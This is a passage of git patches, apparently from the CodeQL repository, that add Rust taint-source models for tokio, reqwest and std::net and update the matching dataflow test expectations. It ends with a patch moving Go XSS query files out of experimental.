Alert[rust/summary/taint-sources] + sink(reader_split.next_segment().await?.unwrap()); // $ hasTaintFlow while let Some(chunk) = reader_split.next_segment().await? { sink(chunk); // $ MISSING: hasTaintFlow } } { - let reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ MISSING: Alert[rust/summary/taint-sources] + let reader = tokio::io::BufReader::new(tokio::io::stdin()); // $ Alert[rust/summary/taint-sources] let mut lines = reader.lines(); - sink(lines.next_line().await?.unwrap()); // $ MISSING: hasTaintFlow + sink(lines.next_line().await?.unwrap()); // $ hasTaintFlow while let Some(line) = lines.next_line().await? { sink(line); // $ MISSING: hasTaintFlow } From f4ae2110190b472f7fb631317707fc8b14197a2b Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 14:54:59 +0100 Subject: [PATCH 044/535] Rust: Add models for tokio (fs). --- .../codeql/rust/frameworks/tokio/fs.model.yml | 11 ++++ .../codeql/rust/frameworks/tokio/io.model.yml | 3 ++ .../dataflow/sources/TaintSources.expected | 10 ++++ .../library-tests/dataflow/sources/test.rs | 54 +++++++++---------- 4 files changed, 51 insertions(+), 27 deletions(-) create mode 100644 rust/ql/lib/codeql/rust/frameworks/tokio/fs.model.yml diff --git a/rust/ql/lib/codeql/rust/frameworks/tokio/fs.model.yml b/rust/ql/lib/codeql/rust/frameworks/tokio/fs.model.yml new file mode 100644 index 000000000000..caa108de2b59 --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/tokio/fs.model.yml @@ -0,0 +1,11 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::fs::read::read", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "file", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::fs::read_to_string::read_to_string", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "file", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::fs::read_link::read_link", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "file", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::path", "ReturnValue", "file", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::file_name", "ReturnValue", "file", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::open", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "file", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/tokio/io.model.yml b/rust/ql/lib/codeql/rust/frameworks/tokio/io.model.yml index ab0e88a9d610..ecfcb1b241b2 100644 --- a/rust/ql/lib/codeql/rust/frameworks/tokio/io.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/tokio/io.model.yml @@ -46,3 +46,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_f32_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_f64", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read_f64_le", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::chain", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::chain", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::take", "Argument[self]", "ReturnValue", "taint", "manual"] diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index 1f7357f7e03e..88377ddf8237 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -54,8 +54,18 @@ | test.rs:423:22:423:25 | path | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:424:27:424:35 | file_name | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:430:22:430:34 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:439:31:439:45 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:444:31:444:45 | ...::read | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:449:22:449:46 | ...::read_to_string | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:455:26:455:29 | path | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:456:31:456:39 | file_name | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:462:22:462:41 | ...::read_link | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:472:20:472:38 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:506:21:506:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:507:21:507:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:515:21:515:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:527:20:527:40 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:574:21:574:41 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:575:21:575:41 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:583:21:583:41 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:775:16:775:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 2c87a05a4744..3d511531c3bb 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -436,31 +436,31 @@ fn test_fs() -> Result<(), Box> { async fn test_tokio_fs() -> Result<(), Box> { { - let buffer: Vec = tokio::fs::read("file.bin").await?; // $ MISSING: Alert[rust/summary/taint-sources] - sink(buffer); // $ MISSING: hasTaintFlow="file.bin" + let buffer: Vec = tokio::fs::read("file.bin").await?; // $ Alert[rust/summary/taint-sources] + sink(buffer); // $ hasTaintFlow="file.bin" } { - let buffer: Vec = tokio::fs::read("file.bin").await?; // $ MISSING: Alert[rust/summary/taint-sources] - sink(buffer); // $ MISSING: hasTaintFlow="file.bin" + let buffer: Vec = tokio::fs::read("file.bin").await?; // $ Alert[rust/summary/taint-sources] + sink(buffer); // $ hasTaintFlow="file.bin" } { - let buffer = tokio::fs::read_to_string("file.txt").await?; // $ MISSING: Alert[rust/summary/taint-sources] - sink(buffer); // $ MISSING: hasTaintFlow="file.txt" + let buffer = tokio::fs::read_to_string("file.txt").await?; // $ Alert[rust/summary/taint-sources] + sink(buffer); // $ hasTaintFlow="file.txt" } let mut read_dir = tokio::fs::read_dir("directory").await?; for entry in read_dir.next_entry().await? { - let path = entry.path(); // $ MISSING: Alert[rust/summary/taint-sources] - let file_name = entry.file_name(); // $ MISSING: Alert[rust/summary/taint-sources] - sink(path); // $ MISSING: hasTaintFlow - sink(file_name); // $ MISSING: hasTaintFlow + let path = entry.path(); // $ Alert[rust/summary/taint-sources] + let file_name = entry.file_name(); // $ Alert[rust/summary/taint-sources] + sink(path); // $ hasTaintFlow + sink(file_name); // $ hasTaintFlow } { - let target = tokio::fs::read_link("symlink.txt").await?; // $ MISSING: Alert[rust/summary/taint-sources] - sink(target); // $ MISSING: hasTaintFlow="symlink.txt" + let target = tokio::fs::read_link("symlink.txt").await?; // $ Alert[rust/summary/taint-sources] + sink(target); // $ hasTaintFlow="symlink.txt" } Ok(()) @@ -524,30 +524,30 @@ fn test_io_file() -> std::io::Result<()> { async fn test_tokio_file() -> std::io::Result<()> { // --- file --- - let mut file = tokio::fs::File::open("file.txt").await?; // $ MISSING: Alert[rust/summary/taint-sources] + let mut file = tokio::fs::File::open("file.txt").await?; // $ Alert[rust/summary/taint-sources] { let mut buffer = [0u8; 100]; let _bytes = file.read(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" + sink(&buffer); // $ hasTaintFlow="file.txt" } { let mut buffer = Vec::::new(); let _bytes = file.read_to_end(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" + sink(&buffer); // $ hasTaintFlow="file.txt" } { let mut buffer = String::new(); let _bytes = file.read_to_string(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" + sink(&buffer); // $ hasTaintFlow="file.txt" } { let mut buffer = [0; 100]; file.read_exact(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" + sink(&buffer); // $ hasTaintFlow="file.txt" } { @@ -555,35 +555,35 @@ async fn test_tokio_file() -> std::io::Result<()> { let v2 = file.read_i16().await?; let v3 = file.read_f32().await?; let v4 = file.read_i64_le().await?; - sink(v1); // $ MISSING: hasTaintFlow - sink(v2); // $ MISSING: hasTaintFlow - sink(v3); // $ MISSING: hasTaintFlow - sink(v4); // $ MISSING: hasTaintFlow + sink(v1); // $ hasTaintFlow="file.txt" + sink(v2); // $ hasTaintFlow="file.txt" + sink(v3); // $ hasTaintFlow="file.txt" + sink(v4); // $ hasTaintFlow="file.txt" } { let mut buffer = bytes::BytesMut::new(); file.read_buf(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow="file.txt" } // --- misc operations --- { let mut buffer = String::new(); - let file1 = tokio::fs::File::open("file.txt").await?; // $ MISSING: Alert[rust/summary/taint-sources] - let file2 = tokio::fs::File::open("another_file.txt").await?; // $ MISSING: [rust/summary/taint-sources] + let file1 = tokio::fs::File::open("file.txt").await?; // $ Alert[rust/summary/taint-sources] + let file2 = tokio::fs::File::open("another_file.txt").await?; // $ Alert[rust/summary/taint-sources] let mut reader = file1.chain(file2); reader.read_to_string(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" hasTaintFlow="another_file.txt" + sink(&buffer); // $ hasTaintFlow="file.txt" hasTaintFlow="another_file.txt" } { let mut buffer = String::new(); - let file1 = tokio::fs::File::open("file.txt").await?; // $ MISSING: Alert[rust/summary/taint-sources] + let file1 = tokio::fs::File::open("file.txt").await?; // $ Alert[rust/summary/taint-sources] let mut reader = file1.take(100); reader.read_to_string(&mut buffer).await?; - sink(&buffer); // $ MISSING: hasTaintFlow="file.txt" + sink(&buffer); // $ hasTaintFlow="file.txt" } Ok(()) From 3104dba09e1bb2cabdc74ad2fd82c105c4652961 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 18:23:42 +0100 Subject: [PATCH 045/535] Rust: Fix some shortcomings in our models of Reqwest. --- .../ql/lib/codeql/rust/frameworks/reqwest.model.yml | 13 ++++++++----- rust/ql/test/library-tests/dataflow/sources/test.rs | 8 ++++---- 2 files changed, 12 insertions(+), 9 deletions(-) diff --git a/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml b/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml index 3be832c8e7fb..f954d4ce7cce 100644 --- a/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml @@ -3,7 +3,7 @@ extensions: pack: codeql/rust-all extensible: sourceModel data: - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::get", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::get", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "remote", "manual"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::get", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"] - addsTo: pack: codeql/rust-all @@ -15,10 +15,13 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text_with_charset", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::chunk", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text_with_charset", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bytes", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::chunk", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "taint", "manual"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text_with_charset", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bytes", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::chunk", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "taint", "manual"] diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 3d511531c3bb..8e87cf8e5cca 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -72,15 +72,15 @@ async fn test_reqwest() -> Result<(), reqwest::Error> { sink(remote_string4); // $ hasTaintFlow="example.com" let remote_string5 = reqwest::get("example.com").await?.text().await?; // $ Alert[rust/summary/taint-sources] - sink(remote_string5); // $ MISSING: hasTaintFlow + sink(remote_string5); // $ hasTaintFlow="example.com" let remote_string6 = reqwest::get("example.com").await?.bytes().await?; // $ Alert[rust/summary/taint-sources] - sink(remote_string6); // $ MISSING: hasTaintFlow + sink(remote_string6); // $ hasTaintFlow="example.com" let mut request1 = reqwest::get("example.com").await?; // $ Alert[rust/summary/taint-sources] - sink(request1.chunk().await?.unwrap()); // $ MISSING: hasTaintFlow + sink(request1.chunk().await?.unwrap()); // $ hasTaintFlow="example.com" while let Some(chunk) = request1.chunk().await? { - sink(chunk); // $ MISSING: hasTaintFlow + sink(chunk); // $ MISSING: hasTaintFlow="example.com" } Ok(()) From 038b8b5344fc9303071b9160c47a61e4ab677781 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 18:30:25 +0100 Subject: [PATCH 046/535] Rust: Add a missing model for std::io. --- rust/ql/lib/codeql/rust/frameworks/stdlib/io.model.yml | 1 + rust/ql/test/library-tests/dataflow/sources/test.rs | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/io.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/io.model.yml index 3cdbb911b5b8..e6b75aeb8d32 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/io.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/io.model.yml @@ -36,3 +36,4 @@ extensions: - ["lang:std", "crate::io::Read::chain", "Argument[0]", "ReturnValue", "taint", "manual"] - ["lang:std", "crate::io::Read::take", "Argument[self]", "ReturnValue", "taint", "manual"] - ["lang:std", "::lock", "Argument[self]", "ReturnValue", "taint", "manual"] + - ["lang:std", "::next", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)]", "taint", "manual"] diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 8e87cf8e5cca..8c4808605b45 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -270,7 +270,7 @@ fn test_io_stdin() -> std::io::Result<()> { { let mut reader_split = std::io::BufReader::new(std::io::stdin()).split(b','); // $ Alert[rust/summary/taint-sources] - sink(reader_split.next().unwrap().unwrap()); // $ MISSING: hasTaintFlow + sink(reader_split.next().unwrap().unwrap()); // $ hasTaintFlow while let Some(chunk) = reader_split.next() { sink(chunk.unwrap()); // $ MISSING: hasTaintFlow } From e26311645296f2f0b8d0800a9386961380adffa4 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 18:58:21 +0100 Subject: [PATCH 047/535] Rust: Model std::net and tokio::net. --- .../rust/frameworks/stdlib/net.model.yml | 16 +++++++++ .../rust/frameworks/tokio/net.model.yml | 14 ++++++++ .../dataflow/sources/TaintSources.expected | 5 +++ .../library-tests/dataflow/sources/test.rs | 36 +++++++++---------- 4 files changed, 53 insertions(+), 18 deletions(-) create mode 100644 rust/ql/lib/codeql/rust/frameworks/stdlib/net.model.yml create mode 100644 rust/ql/lib/codeql/rust/frameworks/tokio/net.model.yml diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/net.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/net.model.yml new file mode 100644 index 000000000000..c088c11e7b6c --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/net.model.yml @@ -0,0 +1,16 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["lang:std", "::connect", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"] + - ["lang:std", "::connect_timeout", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"] + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["lang:std", "::try_clone", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["lang:std", "::read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["lang:std", "::read_exact", "Argument[self]", "Argument[0].Reference", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/tokio/net.model.yml b/rust/ql/lib/codeql/rust/frameworks/tokio/net.model.yml new file mode 100644 index 000000000000..8c9d278818bb --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/tokio/net.model.yml @@ -0,0 +1,14 @@ +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::connect", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "remote", "manual"] + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::peek", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::async_read_ext::AsyncReadExt::read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read", "Argument[self]", "Argument[0].Reference", "taint", "manual"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read_buf", "Argument[self]", "Argument[0].Reference", "taint", "manual"] diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index 88377ddf8237..1fd8944790a8 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -20,6 +20,7 @@ | test.rs:74:26:74:37 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:77:26:77:37 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:80:24:80:35 | ...::get | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:99:18:99:47 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:113:31:113:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:120:31:120:42 | send_request | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:210:22:210:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | @@ -68,4 +69,8 @@ | test.rs:574:21:574:41 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:575:21:575:41 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:583:21:583:41 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | +| test.rs:600:26:600:53 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:619:26:619:61 | ...::connect_timeout | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:671:28:671:57 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | +| test.rs:753:22:753:49 | ...::connect | Flow source 'RemoteSource' of type remote (DEFAULT). | | test.rs:775:16:775:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 8c4808605b45..066f83a64748 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -96,7 +96,7 @@ async fn test_hyper_http(case: i64) -> Result<(), Box> { // create the connection println!("connecting to {}...", address); - let stream = tokio::net::TcpStream::connect(address).await?; + let stream = tokio::net::TcpStream::connect(address).await?; // $ Alert[rust/summary/taint-sources] let io = hyper_util::rt::TokioIo::new(stream); let (mut sender, conn) = hyper::client::conn::http1::handshake(io).await?; @@ -597,18 +597,18 @@ async fn test_std_tcpstream(case: i64) -> std::io::Result<()> { // Result<(), Bo if case == 1 { // create the connection - let mut stream = std::net::TcpStream::connect(address)?; + let mut stream = std::net::TcpStream::connect(address)?; // $ Alert[rust/summary/taint-sources] // send request let _ = stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n"); // read response let mut buffer = vec![0; 32 * 1024]; - let _ = stream.read(&mut buffer); // $ MISSING: Alert[rust/summary/taint-sources] + let _ = stream.read(&mut buffer); println!("data = {:?}", buffer); - sink(&buffer); // $ MISSING: hasTaintFlow - sink(buffer[0]); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow=address + sink(buffer[0]); // $ hasTaintFlow=address let buffer_string = String::from_utf8_lossy(&buffer); println!("string = {}", buffer_string); @@ -616,7 +616,7 @@ async fn test_std_tcpstream(case: i64) -> std::io::Result<()> { // Result<(), Bo } else { // create the connection let sock_addr = address.to_socket_addrs().unwrap().next().unwrap(); - let mut stream = std::net::TcpStream::connect_timeout(&sock_addr, std::time::Duration::new(1, 0))?; + let mut stream = std::net::TcpStream::connect_timeout(&sock_addr, std::time::Duration::new(1, 0))?; // $ Alert[rust/summary/taint-sources] // send request let _ = stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n"); @@ -627,14 +627,14 @@ async fn test_std_tcpstream(case: i64) -> std::io::Result<()> { // Result<(), Bo let mut reader = std::io::BufReader::new(stream).take(256); let mut line = String::new(); loop { - match reader.read_line(&mut line) { // $ MISSING: Alert[rust/summary/taint-sources] + match reader.read_line(&mut line) { Ok(0) => { println!("end"); break; } Ok(_n) => { println!("line = {}", line); - sink(&line); // $ MISSING: hasTaintFlow + sink(&line); // $ hasTaintFlow=&sock_addr line.clear(); } Err(e) => { @@ -668,7 +668,7 @@ async fn test_tokio_tcpstream(case: i64) -> std::io::Result<()> { // create the connection println!("connecting to {}...", address); - let mut tokio_stream = tokio::net::TcpStream::connect(address).await?; + let mut tokio_stream = tokio::net::TcpStream::connect(address).await?; // $ Alert[rust/summary/taint-sources] // send request tokio_stream.write_all(b"GET / HTTP/1.1\nHost:example.com\n\n").await?; @@ -676,19 +676,19 @@ async fn test_tokio_tcpstream(case: i64) -> std::io::Result<()> { if case == 1 { // peek response let mut buffer1 = vec![0; 2 * 1024]; - let _ = tokio_stream.peek(&mut buffer1).await?; // $ MISSING: Alert[rust/summary/taint-sources] + let _ = tokio_stream.peek(&mut buffer1).await?; // read response let mut buffer2 = vec![0; 2 * 1024]; - let n2 = tokio_stream.read(&mut buffer2).await?; // $ MISSING: Alert[rust/summary/taint-sources] + let n2 = tokio_stream.read(&mut buffer2).await?; println!("buffer1 = {:?}", buffer1); - sink(&buffer1); // $ MISSING: hasTaintFlow - sink(buffer1[0]); // $ MISSING: hasTaintFlow + sink(&buffer1); // $ hasTaintFlow=address + sink(buffer1[0]); // $ hasTaintFlow=address println!("buffer2 = {:?}", buffer2); - sink(&buffer2); // $ MISSING: hasTaintFlow - sink(buffer2[0]); // $ MISSING: hasTaintFlow + sink(&buffer2); // $ hasTaintFlow=address + sink(buffer2[0]); // $ hasTaintFlow=address let buffer_string = String::from_utf8_lossy(&buffer2[..n2]); println!("string = {}", buffer_string); @@ -703,7 +703,7 @@ async fn test_tokio_tcpstream(case: i64) -> std::io::Result<()> { } Ok(_n) => { println!("buffer = {:?}", buffer); - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow=address break; // (or we could wait for more data) } Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => { @@ -726,7 +726,7 @@ async fn test_tokio_tcpstream(case: i64) -> std::io::Result<()> { } Ok(_n) => { println!("buffer = {:?}", buffer); - sink(&buffer); // $ MISSING: hasTaintFlow + sink(&buffer); // $ hasTaintFlow=address break; // (or we could wait for more data) } Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => { @@ -750,7 +750,7 @@ async fn test_std_to_tokio_tcpstream() -> std::io::Result<()> { // create the connection println!("connecting to {}...", address); - let std_stream = std::net::TcpStream::connect(address)?; + let std_stream = std::net::TcpStream::connect(address)?; // $ Alert[rust/summary/taint-sources] // convert to tokio stream std_stream.set_nonblocking(true)?; From 5bce70f78c20857e47e3a3ffaf9a1d0956dc2b4c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 10:31:58 +0100 Subject: [PATCH 048/535] Move files out of experimental (no changes) --- .../CWE-079}/HTMLTemplateEscapingPassthrough.qhelp | 0 .../CWE-079}/HTMLTemplateEscapingPassthrough.ql | 0 .../CWE-079}/HTMLTemplateEscapingPassthroughBad.go | 0 .../CWE-079}/HTMLTemplateEscapingPassthroughGood.go | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.expected | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.go | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.qlref | 0 7 files changed, 0 insertions(+), 0 deletions(-) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthrough.qhelp (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthrough.ql (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthroughBad.go (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthroughGood.go (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.expected (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.go (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.qlref (100%) diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go similarity index 100% rename from 